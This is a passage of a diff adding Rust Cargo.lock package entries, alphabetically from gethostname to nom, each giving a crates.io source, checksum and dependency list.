"85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a" +dependencies = [ + "typenum", + "version_check", + "zeroize", +] + +[[package]] +name = "gethostname" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1bd49230192a3797a9a4d6abe9b3eed6f7fa4c8a8a4947977c6f80025f92cbd8" +dependencies = [ + "rustix 1.1.5", + "windows-link", +] + +[[package]] +name = "getopts" +version = "0.2.24" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cfe4fbac503b8d1f88e6676011885f34b7174f46e59956bba534ba83abded4df" +dependencies = [ + "unicode-width", +] + +[[package]] +name = "getrandom" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff2abc00be7fca6ebc474524697ae276ad847ad0a6b3faa4bcb027e9a4614ad0" +dependencies = [ + "cfg-if", + "libc", + "wasi", +] + +[[package]] +name = "getrandom" +version = "0.3.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "899def5c37c4fd7b2664648c28120ecec138e4d395b459e5ca34f9cce2dd77fd" +dependencies = [ + "cfg-if", + "libc", + "r-efi 5.3.0", + "wasip2", +] + +[[package]] +name = "getrandom" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "300e883d756b2e4ec94e02791f39b04b522276138852cfc41d9fb7e904106099" +dependencies = [ + "cfg-if", + "libc", + "r-efi 6.0.0", + "rand_core 0.10.1", +] + +[[package]] +name = "gif" +version = "0.14.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ee8cfcc411d9adbbaba82fb72661cc1bcca13e8bba98b364e62b2dba8f960159" +dependencies = [ + "color_quant", + "weezl", +] + +[[package]] +name = "gimli" +version = "0.33.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0bf7f043f89559805f8c7cacc432749b2fa0d0a0a9ee46ce47164ed5ba7f126c" +dependencies = [ + "fnv", + "hashbrown 0.16.1", + "indexmap", + "stable_deref_trait", +] + +[[package]] +name = "gl" +version = "0.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a94edab108827d67608095e269cf862e60d920f144a5026d3dbcfd8b877fb404" +dependencies = [ + "gl_generator", +] + +[[package]] +name = "gl_generator" +version = "0.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1a95dfc23a2b4a9a2f5ab41d194f8bfda3cabec42af4e39f08c339eb2a0c124d" +dependencies = [ + "khronos_api", + "log", + "xml-rs", +] + +[[package]] +name = "glifo" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed4a1bb24121291d27230c1b1b44e07d6a9b28cefdb32fe1581dfb84e14f940a" +dependencies = [ + "bytemuck", + "foldhash 0.2.0", + "hashbrown 0.17.1", + "log", + "peniko", + "skrifa", + "smallvec", + "vello_common", +] + +[[package]] +name = "glob" +version = "0.3.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e4eba85ea1d0a966a983acd07deee566e67395d2d96b6fb39e62b5a833f1eb0b" + +[[package]] +name = "glow" +version = "0.17.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "29038e1c483364cc6bb3cf78feee1816002e127c331a1eec55a4d202b9e1adb5" +dependencies = [ + "js-sys", + "slotmap", + "wasm-bindgen", + "web-sys", +] + +[[package]] +name = "glutin" +version = "0.32.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "12124de845cacfebedff80e877bb37b5b75c34c5a4c89e47e1cdd67fb6041325" +dependencies = [ + "bitflags 2.13.2", + "cfg_aliases 0.2.2", + "cgl", + "dispatch2", + "glutin_egl_sys", + "glutin_glx_sys", + "glutin_wgl_sys", + "libloading", + "objc2 0.6.5", + "objc2-app-kit 0.3.2", + "objc2-core-foundation", + "objc2-foundation 0.3.2", + "once_cell", + "raw-window-handle", + "wayland-sys", + "windows-sys 0.52.0", + "x11-dl", +] + +[[package]] +name = "glutin-winit" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85edca7075f8fc728f28cb8fbb111a96c3b89e930574369e3e9c27eb75d3788f" +dependencies = [ + "cfg_aliases 0.2.2", + "glutin", + "raw-window-handle", + "winit", +] + +[[package]] +name = "glutin_egl_sys" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4c4680ba6195f424febdc3ba46e7a42a0e58743f2edb115297b86d7f8ecc02d2" +dependencies = [ + "gl_generator", + "windows-sys 0.52.0", +] + +[[package]] +name = "glutin_glx_sys" +version = "0.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a7bb2938045a88b612499fbcba375a77198e01306f52272e692f8c1f3751185" +dependencies = [ + "gl_generator", + "x11-dl", +] + +[[package]] +name = "glutin_wgl_sys" +version = "0.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2c4ee00b289aba7a9e5306d57c2d05499b2e5dc427f84ac708bd2c090212cf3e" +dependencies = [ + "gl_generator", +] + +[[package]] +name = "gpu-allocator" +version = "0.28.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "51255ea7cfaadb6c5f1528d43e92a82acb2b96c43365989a28b2d44ee38f8795" +dependencies = [ + "ash", + "hashbrown 0.16.1", + "log", + "presser", + "thiserror 2.0.21", + "windows", +] + +[[package]] +name = "group" +version = "0.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0f9ef7462f7c099f518d754361858f86d8a07af53ba9af0fe635bbccb151a63" +dependencies = [ + "ff", + "rand_core 0.6.4", + "subtle", +] + +[[package]] +name = "guillotiere" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6b17e70c989c36bad147b27a58d148c0741c51448aa5653436547323e524d0ab" +dependencies = [ + "euclid", +] + +[[package]] +name = "half" +version = "2.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ea2d84b969582b4b1864a92dc5d27cd2b77b622a8d79306834f1be5ba20d84b" +dependencies = [ + "cfg-if", + "crunchy", + "num-traits", + "zerocopy", +] + +[[package]] +name = "harfrust" +version = "0.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c03d949a14aa089bbb282f7dd76a498a7f684428e4257202efc119ec010376f9" +dependencies = [ + "bitflags 2.13.2", + "bytemuck", + "read-fonts", + "smallvec", +] + +[[package]] +name = "hashbrown" +version = "0.15.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9229cfe53dfd69f0609a49f65461bd93001ea1ef889cd5529dd176593f5338a1" +dependencies = [ + "foldhash 0.1.5", +] + +[[package]] +name = "hashbrown" +version = "0.16.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "841d1cc9bed7f9236f321df977030373f4a4163ae1a7dbfe1a51a2c1a51d9100" +dependencies = [ + "allocator-api2", + "equivalent", + "foldhash 0.2.0", +] + +[[package]] +name = "hashbrown" +version = "0.17.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed5909b6e89a2db4456e54cd5f673791d7eca6732202bbf2a9cc504fe2f9b84a" +dependencies = [ + "allocator-api2", + "foldhash 0.2.0", + "serde", + "serde_core", +] + +[[package]] +name = "hashlink" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7382cf6263419f2d8df38c55d7da83da5c18aef87fc7a7fc1fb1e344edfe14c1" +dependencies = [ + "hashbrown 0.15.5", +] + +[[package]] +name = "heck" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea" + +[[package]] +name = "hermit-abi" +version = "0.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e17592d60ebacc7d5e169f4663c5f84f9161cc90328abcfe8456f41e4dfcb284" + +[[package]] +name = "hex" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f24254aa9a54b5c858eaee2f5bccdb46aaf0e486a595ed5fd8f86ba55232a70" + +[[package]] +name = "hkdf" +version = "0.12.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7b5f8eb2ad728638ea2c7d47a21db23b7b58a72ed6a38256b8a1849f15fbbdf7" +dependencies = [ + "hmac", +] + +[[package]] +name = "hmac" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6c49c37c09c17a53d937dfbb742eb3a961d65a994e6bcdcf37e7399d0cc8ab5e" +dependencies = [ + "digest", +] + +[[package]] +name = "http" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "918d3568bebf352712bc2ef3d46a8bcf1a75b373be6539de198e9105cbbf9ce0" +dependencies = [ + "bytes", + "itoa", +] + +[[package]] +name = "httparse" +version = "1.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6dbf3de79e51f3d586ab4cb9d5c3e2c14aa28ed23d180cf89b4df0454a69cc87" + +[[package]] +name = "iced-x86" +version = "1.21.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7c447cff8c7f384a7d4f741cfcff32f75f3ad02b406432e8d6c878d56b1edf6b" +dependencies = [ + "lazy_static", +] + +[[package]] +name = "icu_collections" +version = "2.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fa68d21081c4a05d5a901a1c62add574c77048b6a1c67be3b50ce0b60d4ca513" +dependencies = [ + "displaydoc", + "potential_utf", + "utf8_iter", + "yoke", + "zerofrom", + "zerovec", +] + +[[package]] +name = "icu_locale_core" +version = "2.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d56e28588da92eee5c3201a6eff33fabdd49b62269c8938d4ff050ce4d900deb" +dependencies = [ + "displaydoc", + "litemap", + "serde", + "tinystr", + "writeable", + "zerovec", +] + +[[package]] +name = "icu_locale_fallback" +version = "2.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "251af8e57c9400e3eb58242fe5b8b1152b2a64fdf4cf632f923c38ccee6f2fa9" +dependencies = [ + "icu_locale_core", + "icu_locale_fallback_data", + "icu_provider", + "potential_utf", + "tinystr", + "zerovec", +] + +[[package]] +name = "icu_locale_fallback_data" +version = "2.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "decf2a22ec8fa68f1a0c1129a3f8583f8f8bc24e8b9ccbe98ead99f62a4dc3a8" + +[[package]] +name = "icu_normalizer" +version = "2.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "12f9cf5f235641ed274641dd81c3f28d870e276763d0797aeeab72317b1c646f" +dependencies = [ + "icu_collections", + "icu_normalizer_data", + "icu_properties", + "icu_provider", + "smallvec", + "zerovec", +] + +[[package]] +name = "icu_normalizer_data" +version = "2.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1563da1ed3e0b3bf3d74c9b85917ac9c56464d2f57242270c09c9e752f8021a0" + +[[package]] +name = "icu_properties" +version = "2.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7e7ca276ad3145661a65914e6daf131ca5120cd3dcee8f8f3214b8875184a148" +dependencies = [ + "displaydoc", + "icu_collections", + "icu_locale_core", + "icu_properties_data", + "icu_provider", + "zerotrie", + "zerovec", +] + +[[package]] +name = "icu_properties_data" +version = "2.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e590f038c1464a96894fd6d10127e90a8be4509f56ff7ecef851b15cee0b7caa" + +[[package]] +name = "icu_provider" +version = "2.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d27bbb9d3abbefac45d55f647c9de1d44aafcd1186eb91879afef17c396c3e73" +dependencies = [ + "displaydoc", + "icu_locale_core", + "serde", + "stable_deref_trait", + "writeable", + "yoke", + "zerofrom", + "zerotrie", + "zerovec", +] + +[[package]] +name = "icu_segmenter" +version = "2.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "82d07aafccd67af15d02512a6adf5896fbc5ed00f2e99b471d2efa14016db3db" +dependencies = [ + "icu_collections", + "icu_locale_fallback", + "icu_provider", + "icu_segmenter_data", + "potential_utf", + "smallvec", + "utf8_iter", + "zerovec", +] + +[[package]] +name = "icu_segmenter_data" +version = "2.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ae293c039020f9ec10710af98d29ce6aa2051486638b49c9a6409f3b4a9e98ad" + +[[package]] +name = "id-arena" +version = "2.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d3067d79b975e8844ca9eb072e16b31c3c1c36928edf9c6789548c524d0d954" + +[[package]] +name = "idna" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3b0875f23caa03898994f6ddc501886a45c7d3d62d04d2d90788d47be1b1e4de" +dependencies = [ + "idna_adapter", + "smallvec", + "utf8_iter", +] + +[[package]] +name = "idna_adapter" +version = "1.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb68373c0d6620ef8105e855e7745e18b0d00d3bdb07fb532e434244cdb9a714" +dependencies = [ + "icu_normalizer", + "icu_properties", +] + +[[package]] +name = "image" +version = "0.25.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85ab80394333c02fe689eaf900ab500fbd0c2213da414687ebf995a65d5a6104" +dependencies = [ + "bytemuck", + "byteorder-lite", + "color_quant", + "gif", + "image-webp", + "moxcms", + "num-traits", + "png 0.18.1", + "tiff", + "zune-core", + "zune-jpeg", +] + +[[package]] +name = "image-webp" +version = "0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "525e9ff3e1a4be2fbea1fdf0e98686a6d98b4d8f937e1bf7402245af1909e8c3" +dependencies = [ + "byteorder-lite", + "quick-error", +] + +[[package]] +name = "imagesize" +version = "0.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "edcd27d72f2f071c64249075f42e205ff93c9a4c5f6c6da53e79ed9f9832c285" + +[[package]] +name = "indexmap" +version = "2.14.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cc4e190f5d26ca7051642629da2c52fc03bde85a03197c99408dcd291734c855" +dependencies = [ + "equivalent", + "hashbrown 0.17.1", + "serde", + "serde_core", +] + +[[package]] +name = "inout" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "879f10e63c20629ecabbb64a8010319738c66a5cd0c29b02d63d272b03751d01" +dependencies = [ + "block-padding", + "generic-array", +] + +[[package]] +name = "is-docker" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "928bae27f42bc99b60d9ac7334e3a21d10ad8f1835a4e12ec3ec0464765ed1b3" +dependencies = [ + "once_cell", +] + +[[package]] +name = "is-wsl" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "173609498df190136aa7dea1a91db051746d339e18476eed5ca40521f02d7aa5" +dependencies = [ + "is-docker", + "once_cell", +] + +[[package]] +name = "is_terminal_polyfill" +version = "1.70.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a6cb138bb79a146c1bd460005623e142ef0181e3d0219cb493e02f7d08a35695" + +[[package]] +name = "itertools" +version = "0.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "413ee7dfc52ee1a4949ceeb7dbc8a33f2d6c088194d9f922fb8318faf1f01186" +dependencies = [ + "either", +] + +[[package]] +name = "itertools" +version = "0.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2b192c782037fadd9cfa75548310488aabdbf3d2da73885b31bd0abd03351285" +dependencies = [ + "either", +] + +[[package]] +name = "itertools" +version = "0.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b4baf93f58d4425749ca49a51c50ebab072c5df6994d08fed93541c331481dc" +dependencies = [ + "either", +] + +[[package]] +name = "itoa" +version = "1.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f42a60cbdf9a97f5d2305f08a87dc4e09308d1276d28c869c684d7777685682" + +[[package]] +name = "jni" +version = "0.22.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5efd9a482cf3a427f00d6b35f14332adc7902ce91efb778580e180ff90fa3498" +dependencies = [ + "cfg-if", + "combine", + "jni-macros", + "jni-sys 0.4.1", + "log", + "simd_cesu8", + "thiserror 2.0.21", + "walkdir", + "windows-link", +] + +[[package]] +name = "jni-macros" +version = "0.22.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a00109accc170f0bdb141fed3e393c565b6f5e072365c3bd58f5b062591560a3" +dependencies = [ + "proc-macro2", + "quote", + "rustc_version", + "simd_cesu8", + "syn 2.0.119", +] + +[[package]] +name = "jni-sys" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "41a652e1f9b6e0275df1f15b32661cf0d4b78d4d87ddec5e0c3c20f097433258" +dependencies = [ + "jni-sys 0.4.1", +] + +[[package]] +name = "jni-sys" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c6377a88cb3910bee9b0fa88d4f42e1d2da8e79915598f65fb0c7ee14c878af2" +dependencies = [ + "jni-sys-macros", +] + +[[package]] +name = "jni-sys-macros" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "38c0b942f458fe50cdac086d2f946512305e5631e720728f2a61aabcd47a6264" +dependencies = [ + "quote", + "syn 2.0.119", +] + +[[package]] +name = "jobserver" +version = "0.1.35" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1c00acbd29eabad4a2392fa0e921c874934dbbf4194312ad20f04a0ed67a3cb3" +dependencies = [ + "getrandom 0.4.3", + "libc", +] + +[[package]] +name = "js-sys" +version = "0.3.106" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7883d941dae510fb2d978fc3fe018c71c9e2892fd38854de3e8b92c2e5ad9cc5" +dependencies = [ + "cfg-if", + "futures-util", + "wasm-bindgen", +] + +[[package]] +name = "json-escape-simd" +version = "3.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6520172708e1b08b95f31bbf76cec064db4203a615cf2fb4e1128d6dd142b033" +dependencies = [ + "escape-simd", +] + +[[package]] +name = "keyring" +version = "3.6.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eebcc3aff044e5944a8fbaf69eb277d11986064cba30c468730e8b9909fb551c" +dependencies = [ + "byteorder", + "dbus-secret-service", + "log", + "secret-service", + "security-framework 2.11.1", + "security-framework 3.7.0", + "windows-sys 0.60.2", + "zbus 4.4.0", + "zeroize", +] + +[[package]] +name = "khronos-egl" +version = "6.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6aae1df220ece3c0ada96b8153459b67eebe9ae9212258bb0134ae60416fdf76" +dependencies = [ + "libc", + "libloading", + "pkg-config", +] + +[[package]] +name = "khronos_api" +version = "3.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e2db585e1d738fc771bf08a151420d3ed193d9d895a36df7f6f8a9456b911ddc" + +[[package]] +name = "kittest" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "90ceaa75eb0036a32b6b9833962eb18137449e9817e2e586006471925b727fd5" +dependencies = [ + "accesskit", + "accesskit_consumer 0.35.0", +] + +[[package]] +name = "kurbo" +version = "0.11.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c62026ae44756f8a599ba21140f350303d4f08dcdcc71b5ad9c9bb8128c13c62" +dependencies = [ + "arrayvec", + "euclid", + "smallvec", +] + +[[package]] +name = "kurbo" +version = "0.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4b60dfc32f652b926df6192e55525b16d186c69d47876c3ead4da5cc9f8450e2" +dependencies = [ + "arrayvec", + "euclid", + "polycool", + "smallvec", +] + +[[package]] +name = "lazy_static" +version = "1.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "20870f649af7073d53e38067b2a84312175d56ea15217e1b15bc83506ec50afb" +dependencies = [ + "spin", +] + +[[package]] +name = "leb128fmt" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09edd9e8b54e49e587e4f6295a7d29c3ea94d469cb40ab8ca70b288248a81db2" + +[[package]] +name = "libc" +version = "0.2.190" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ce5d3ddc6d3fa000eb1536d85e147bfe31aacaba692ed6a876f95cb7c855be78" + +[[package]] +name = "libdbus-sys" +version = "0.2.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "328c4789d42200f1eeec05bd86c9c13c7f091d2ba9a6ea35acdf51f31bc0f043" +dependencies = [ + "pkg-config", +] + +[[package]] +name = "libloading" +version = "0.8.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d7c4b02199fee7c5d21a5ae7d8cfa79a6ef5bb2fc834d6e9058e89c825efdc55" +dependencies = [ + "cfg-if", + "windows-link", +] + +[[package]] +name = "libm" +version = "0.2.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6d2cec3eae94f9f509c767b45932f1ada8350c4bdb85af2fcab4a3c14807981" + +[[package]] +name = "libredox" +version = "0.1.25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "61ff90caf6077a803a240f62fdbe88645a890bbca49ef8174c3cb0404362171d" +dependencies = [ + "bitflags 2.13.2", + "libc", + "plain", + "redox_syscall 0.9.4", +] + +[[package]] +name = "libspa" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "882f7427e7989dcc9d388b7f05c4630390a1d7696f9ffa469cd4a7a48f0b4c40" +dependencies = [ + "bitflags 2.13.2", + "cc", + "cookie-factory", + "libc", + "libspa-sys", + "nom 8.0.0", + "rustix 1.1.5", + "system-deps", +] + +[[package]] +name = "libspa-sys" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3b6e17bdaf63ed0d5e4144022624032b41fd9733112e8c74ac26fc9bf1291924" +dependencies = [ + "bindgen", + "cc", + "system-deps", +] + +[[package]] +name = "libwayshot-xcap" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ea8a46e4d016ef464e386e4970f5415fe0939c2d63abe0c2f539c05ef88c5fe5" +dependencies = [ + "drm 0.15.0", + "gbm", + "gl", + "image", + "khronos-egl", + "memmap2", + "rustix 1.1.5", + "thiserror 2.0.21", + "tracing", + "wayland-backend", + "wayland-client", + "wayland-protocols", + "wayland-protocols-wlr", +] + +[[package]] +name = "linebender_resource_handle" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d4a5ff6bcca6c4867b1c4fd4ef63e4db7436ef363e0ad7531d1558856bae64f4" + +[[package]] +name = "linux-raw-sys" +version = "0.4.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d26c52dbd32dccf2d10cac7725f8eae5296885fb5703b261f7d0a0739ec807ab" + +[[package]] +name = "linux-raw-sys" +version = "0.9.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cd945864f07fe9f5371a27ad7b52a172b4b499999f1d97574c9fa68373937e12" + +[[package]] +name = "linux-raw-sys" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a66949e030da00e8c7d4434b251670a91556f4144941d37452769c25d58a53" + +[[package]] +name = "litemap" +version = "0.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "47d9d19d1d6efa0109d2f65ff4c85cddd50bd572e5a00127ab10987290bcefae" + +[[package]] +name = "litrs" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4744e383959f0db86ede514b809b1c53251889093803c05267acc7d4e7030d70" + +[[package]] +name = "lock_api" +version = "0.4.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "224399e74b87b5f3557511d98dff8b14089b3dadafcab6bb93eab67d3aace965" +dependencies = [ + "scopeguard", +] + +[[package]] +name = "log" +version = "0.4.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f9f8bd3e56ce4dfc153cf470fffbfa98c7620958b312ca5c3a4b8d5181fd13c6" + +[[package]] +name = "lzma-rs" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "297e814c836ae64db86b36cf2a557ba54368d03f6afcd7d947c266692f71115e" +dependencies = [ + "byteorder", + "crc", +] + +[[package]] +name = "mach2" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dae608c151f68243f2b000364e1f7b186d9c29845f7d2d85bd31b9ad77ad552b" + +[[package]] +name = "memchr" +version = "2.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf8baf1c55e62ffcace7a9f06f4bd9cd3f0c4beb022d3b367256b91b87513d98" + +[[package]] +name = "memfd" +version = "0.6.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "57804b2c9b69967f1536a56f86297e367a33b19e98852ed624b84551cdbc0d90" +dependencies = [ + "rustix 1.1.5", +] + +[[package]] +name = "memmap2" +version = "0.9.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d1219ed1b7f229ee7104d281dd01d6802fe28bb6e95d292942c4daacdeb798c0" +dependencies = [ + "libc", +] + +[[package]] +name = "memoffset" +version = "0.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "488016bfae457b036d996092f6cb448677611ce4449e970ceaf42695203f218a" +dependencies = [ + "autocfg", +] + +[[package]] +name = "minimal-lexical" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a" + +[[package]] +name = "miniz_oxide" +version = "0.8.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fa76a2c86f704bdb222d66965fb3d63269ce38518b83cb0575fca855ebb6316" +dependencies = [ + "adler2", + "simd-adler32", +] + +[[package]] +name = "miniz_oxide" +version = "0.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b63fbc4a50860e98e7b2aa7804ded1db5cbc3aff9193adaff57a6931bf7c4b4c" +dependencies = [ + "adler2", + "simd-adler32", +] + +[[package]] +name = "moxcms" +version = "0.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bb85c154ba489f01b25c0d36ae69a87e4a1c73a72631fc6c0eb6dde34a73e44b" +dependencies = [ + "num-traits", + "pxfm", +] + +[[package]] +name = "multiversion_no_op" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "743fb55ba31b18fb1ecef6bdc9aa2743314978ac084044301a7eee33fb99a20d" + +[[package]] +name = "naga" +version = "30.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a616d2fb8c89516ac2723a581f69d6c18576046bed761bd6b305e5618e6ae130" +dependencies = [ + "arrayvec", + "bit-set", + "bitflags 2.13.2", + "cfg-if", + "cfg_aliases 0.2.2", + "codespan-reporting", + "half", + "hashbrown 0.17.1", + "indexmap", + "libm", + "log", + "naga-types", + "num-traits", + "once_cell", + "rustc-hash 1.1.0", + "spirv", + "thiserror 2.0.21", + "unicode-ident", +] + +[[package]] +name = "naga-types" +version = "30.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "590afbf58a6f4f62873cd5cff4468061844bafa1cdf399cc954537c22d768d49" +dependencies = [ + "hashbrown 0.17.1", + "indexmap", + "rustc-hash 1.1.0", + "thiserror 2.0.21", +] + +[[package]] +name = "ndk" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c3f42e7bbe13d351b6bead8286a43aac9534b82bd3cc43e47037f012ebfd62d4" +dependencies = [ + "bitflags 2.13.2", + "jni-sys 0.3.1", + "log", + "ndk-sys", + "num_enum", + "raw-window-handle", + "thiserror 1.0.69", +] + +[[package]] +name = "ndk-context" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "27b02d87554356db9e9a873add8782d4ea6e3e58ea071a9adb9a2e8ddb884a8b" + +[[package]] +name = "ndk-sys" +version = "0.6.0+11769913" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ee6cda3051665f1fb8d9e08fc35c96d5a244fb1be711a03b71118828afc9a873" +dependencies = [ + "jni-sys 0.3.1", +] + +[[package]] +name = "nix" +version = "0.28.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ab2156c4fce2f8df6c499cc1c763e4394b7482525bf2a9701c9d79d215f519e4" +dependencies = [ + "bitflags 2.13.2", + "cfg-if", + "cfg_aliases 0.1.1", + "libc", +] + +[[package]] +name = "nix" +version = "0.29.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "71e2746dc3a24dd78b3cfcb7be93368c6de9963d30f43a6a73998a9cf4b17b46" +dependencies = [ + "bitflags 2.13.2", + "cfg-if", + "cfg_aliases 0.2.2", + "libc", + "memoffset", +] + +[[package]] +name = "nix" +version = "0.31.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf20d2fde8ff38632c426f1165ed7436270b44f199fc55284c38276f9db47c3d" +dependencies = [ + "bitflags 2.13.2", + "cfg-if", + "cfg_aliases 0.2.2", + "libc", +] + +[[package]] +name = "nohash-hasher" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2bf50223579dc7cdcfb3bfcacf7069ff68243f8c363f62ffa99cf000a6b9c451" + +[[package]] +name = "nom" +version = "7.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = 